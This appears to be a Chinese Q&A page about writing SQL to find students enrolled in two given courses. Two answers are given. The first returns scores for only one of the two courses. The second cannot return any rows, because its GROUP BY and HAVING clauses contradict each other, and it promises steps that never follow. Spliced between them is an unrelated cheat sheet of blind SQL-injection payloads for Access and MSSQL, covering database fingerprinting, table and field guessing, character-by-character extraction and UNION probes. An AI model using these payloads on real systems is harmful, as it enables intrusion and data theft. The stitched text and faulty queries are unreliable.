给的问题是:查找同时选修了编号为1004702432'和'1004702754课程的同学学号、姓名、课程号和相应成绩,并按学号排序输出。
不知道SQL语句咋整 下面👇🏻是关系图
可以使用子查询做:
SELECT 学生表.学号, 学生表.姓名, 成绩表.课程号, 成绩表.成绩
FROM 学生表, 成绩表
WHERE 学生表.学号 = 成绩表.学号
AND 成绩表.课程号 = '1004702432'
AND 学生表.学号 IN (
SELECT 学号
FROM 成绩表
WHERE 课程号 = '1004702754'
)
ORDER BY 学号;
利用内置数据库表获取数据库类型
and (select count(*) from sysobjects)>=0
Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
Msysobjects为Access数据库内置表
Access手工注入猜解
and exists(select * from 表名)
and(select count(*) from 表名)>=0
and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0
and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n
猜字段值
and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
and (select top 1 asc(mid (字段名,2,1)) from 表名)>n
Order by 1
Order by 2
Order by n
Union select 1,字段名,2,…,n from 表名
我可以使用以下SQL语句查询学生同时选修1004702432和1004702754课程的成绩及其相应的学号、姓名和课程号:
SELECT S.Sno, S.Sname, C.course_no, C.score
FROM SC AS C
INNER JOIN S ON C.Sno = S.Sno
WHERE C.course_no IN ('1004702432', '1004702754')
GROUP BY S.Sno, S.Sname, C.course_no, C.score
HAVING COUNT(DISTINCT C.course_no) = 2
ORDER BY S.Sno;
该查询语句使用了内连接和聚合函数来筛选出同时选修了指定两门课程的学生的成绩信息,并按照学号排序输出。具体步骤如下:
注意,由于课程编号列是字符串类型,需要使用单引号将其括起来。同时,该查询语句还使用了COUNT和DISTINCT函数来统计选修的课程数量,确保学生同时选修了指定两门课程。